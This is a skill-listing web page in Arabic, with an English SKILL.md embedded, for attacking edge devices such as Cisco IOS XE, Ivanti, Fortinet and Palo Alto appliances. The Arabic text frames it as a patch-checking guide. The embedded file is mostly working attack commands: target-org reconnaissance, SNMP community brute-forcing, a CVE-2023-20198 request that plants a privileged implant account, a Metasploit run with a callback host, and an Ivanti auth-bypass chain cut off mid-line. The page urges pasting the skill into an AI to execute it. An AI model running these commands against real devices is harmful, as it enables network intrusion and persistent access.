Skillpedia
الأمان6.5k · #14033

edge-device-exploitation

ما الذي تفعله

يغطي هذا الدليل فحوص أمان أجهزة حافة الشبكة، مثل أجهزة التوجيه وجدران الحماية وأجهزة VPN. وهو موجه لفرق الشبكات والأمان التي تدير هذه الأجهزة.

متى تستخدمها

  • ✓عندما تحتاج مراجعة مصرح بها إلى إيجاد أجهزة حافة قديمة مكشوفة على الإنترنت.
  • ✓عندما تريد التحقق مما إذا كان لجدار حماية أو VPN ثغرة معروفة تحتاج إلى تحديث.
  • ✓عندما يريد فريق قائمة مراجعة لتقوية أجهزة الحافة.

رابط المهارة

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md

انسخه والصقه في الذكاء الاصطناعي الذي تستخدمه (Claude أو ChatGPT أو Cursor) واطلب منه اتباع التعليمات.

طريقة الاستخدام

أسهل طريقة: انسخ الرسالة والصقها في الذكاء الاصطناعي الذي تستخدمه. سيقرأ المهارة وينفّذ تعليماتها.

رسالة جاهزة للصق

استخدم هذه المهارة لمساعدتي: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md اقرأ ملف SKILL.md في هذا الرابط ونفّذ تعليماته لمهمتي.
تريد أن يجد الذكاء الاصطناعي مهارات مثل هذه بنفسه؟ثبّت خادم Skillpedia MCP المجاني: سطر واحد، ويبحث في 15,000+ مهارة قبل كل مهمة.ثبّته في دقيقة واحدة →

مثال على ما تطلبه من الذكاء الاصطناعي

“لدينا عدة أجهزة VPN وجدران حماية على الإنترنت. هل يمكنك التحقق من أيها قد يكون قديماً أو مكشوفاً؟”

5 مهارات جديدة كل أسبوع. قراءة في دقيقة واحدة.

كيف تعمل

يحدد الوكيل أنواع الأجهزة وإصداراتها، ويقارنها بمعلومات الثغرات المعروفة، ويبلغ عن الأجهزة التي تحتاج إلى تحديثات أو وصول أكثر إحكاماً.

المحتوى التقني (ملف SKILL.md الأصلي)

النص الأصلي من المؤلف، مباشرة من GitHub.

Edge Device Exploitation

Exploits perimeter network appliances — routers, firewalls, VPN concentrators, and management platforms. These devices sit at trust boundaries, run stripped-down OS variants, and are rarely patched. A compromised edge device yields traffic interception, credential harvesting, lateral pivot into the internal network, and persistent access below endpoint detection.

Quick Reference

# Discover edge devices — Shodan
curl -s "https://api.shodan.io/shodan/host/search?key=<SHODAN_KEY>&query=org:<TARGET_ORG>+product:cisco" | jq '.matches[] | {ip:.ip_str, port:.port, product:.product}'

# Nmap service fingerprint on perimeter
nmap -sV -sC -p 443,8443,10443,4443,8080,161 --script=http-title,ssl-cert,snmp-info <TARGET_RANGE> -oA edge_scan

# SNMP community string brute
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <TARGET>

# SNMP walk full config tree
snmpwalk -v2c -c <COMMUNITY> <TARGET> .1.3.6.1 > snmpwalk_full.txt

# Check Cisco IOS XE web UI (CVE-2023-20198 indicator)
curl -sk "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" -o cisco_webui_probe.txt

# Check PAN-OS GlobalProtect (CVE-2024-3400 indicator)
curl -sk "https://<TARGET>/global-protect/portal/css/login.css" -w '%{http_code}' -o /dev/null

# Ivanti Connect Secure version check
curl -sk "https://<TARGET>/dana-na/auth/url_default/welcome.cgi" -o ivanti_version.txt

MITRE ATT&CK Mapping

Technique ID Application
Exploit Public-Facing Application T1190 CVE exploitation against web UI / VPN portal
External Remote Services T1133 Abuse VPN/SSL-VPN/management interfaces post-compromise
Data from Configuration Repository T1602 Extract running-config, startup-config, SNMP MIBs
Network Sniffing T1040 Packet capture on compromised device
Modify System Image T1601 Implant in device firmware/OS image

1. Identifying Edge Devices

External Reconnaissance

# Shodan bulk search by org
shodan search "org:<TARGET_ORG>" --fields ip_str,port,product,os --separator , > shodan_edge.csv

# Censys for Fortinet devices
curl -s "https://search.censys.io/api/v2/hosts/search" \
  -H "Authorization: Basic <CENSYS_KEY>" \
  -d '{"q":"services.software.product:FortiOS AND autonomous_system.name:<TARGET_ORG>","per_page":50}' | jq '.result.hits[]'

# Certificate transparency for management hostnames
curl -s "https://crt.sh/?q=%25.<TARGET_DOMAIN>&output=json" | jq -r '.[].name_value' | sort -u | grep -iE 'vpn|fw|gw|edge|palo|forti|pulse|asa'

Fingerprinting

# HTTP header fingerprinting
curl -skI "https://<TARGET>" | grep -iE 'server:|x-frame|set-cookie|location'

# SSL cert org/CN extraction
echo | openssl s_client -connect <TARGET>:443 2>/dev/null | openssl x509 -noout -subject -issuer

# Nmap NSE scripts for specific vendors
nmap -p 443 --script http-cisco-anyconnect,ssl-cert <TARGET>

2. CVE Exploitation Chains

CVE-2023-20198 — Cisco IOS XE Web UI Privilege Escalation (CVSS 10.0)

Unauthenticated attacker creates a privileged local account via the web UI.

# Step 1: Verify web UI is accessible
curl -sk "https://<TARGET>/webui" -w '%{http_code}\n' -o /dev/null

# Step 2: Create implant account (the exploit request)
curl -sk -X POST "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" \
  -H "Authorization: 0ff4fbf0ecffa77ce8d3852a4571" \
  -d '{"cisco-IOS-XE-native:username": {"name":"<IMPLANT_USER>","privilege":15,"password":{"type":"0","secret":"<IMPLANT_PASS>"}}}'

# Step 3: Access via SSH with implant account
sshpass -p '<IMPLANT_PASS>' ssh <IMPLANT_USER>@<TARGET> "show running-config"

# Step 4: Check for existing implant (IOC detection)
curl -sk "https://<TARGET>/webui/logoutconfirm.html?logon_hash=1" | grep -q "implant" && echo "IMPLANT DETECTED"

# Metasploit module
msfconsole -q -x "use exploit/linux/http/cisco_ios_xe_webui_privesc; set RHOSTS <TARGET>; set LHOST <CALLBACK>; run"

CVE-2024-21887 — Ivanti Connect Secure Command Injection (CVSS 9.1)

Chained with CVE-2023-46805 (auth bypass) for unauthenticated RCE.

# Step 1: Auth bypass (CVE-2023-46805) — path traversal
curl -sk "https://<TARGET>/api/v1/totp/user-backup-code/../../system/system-information" \
  -H "Content-Type: application/json" -o ivanti_sysinfo.json

# Step 2: Command injection via REST API
curl -sk "https://<TARGET>/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-c
الأسئلة الشائعة

لماذا تُعد أجهزة الحافة هدفاً شائعاً؟

يقول الدليل إنها تقع عند حدود الشبكة، وتعمل بأنظمة مختصرة، وغالباً ما تُحدَّث متأخرة.

ما الشركات المذكورة؟

يذكر الدليل أجهزة Cisco وFortinet وIvanti وPalo Alto كأمثلة.

ما الدفاع الأساسي؟

إبقاء برامج الأجهزة محدّثة، وتقييد الوصول الإداري، ومراقبة إعدادات الجهاز.

التفاصيل

الوصف الأصلي من المؤلف

Edge device exploitation — routers, firewalls, VPN appliances (Cisco IOS XE, Fortinet, Ivanti, Palo Alto). Covers CVE exploitation chains, post-exploitation on network devices, config extraction, and implant deployment on perimeter infrastructure.

repo: BitterSecurity/Decepticon

الشعبية

نجوم GitHub
6.5k
الترتيب
#14033
الترخيص
Apache-2.0
آخر تحديث
1‏/11‏/2026

هل هذه المهارة مفيدة؟

0

سجّل الدخول للتصويت.

التعليقات

  • …

المزيد من المهارات من هذا المستودع

مهارات مشابهة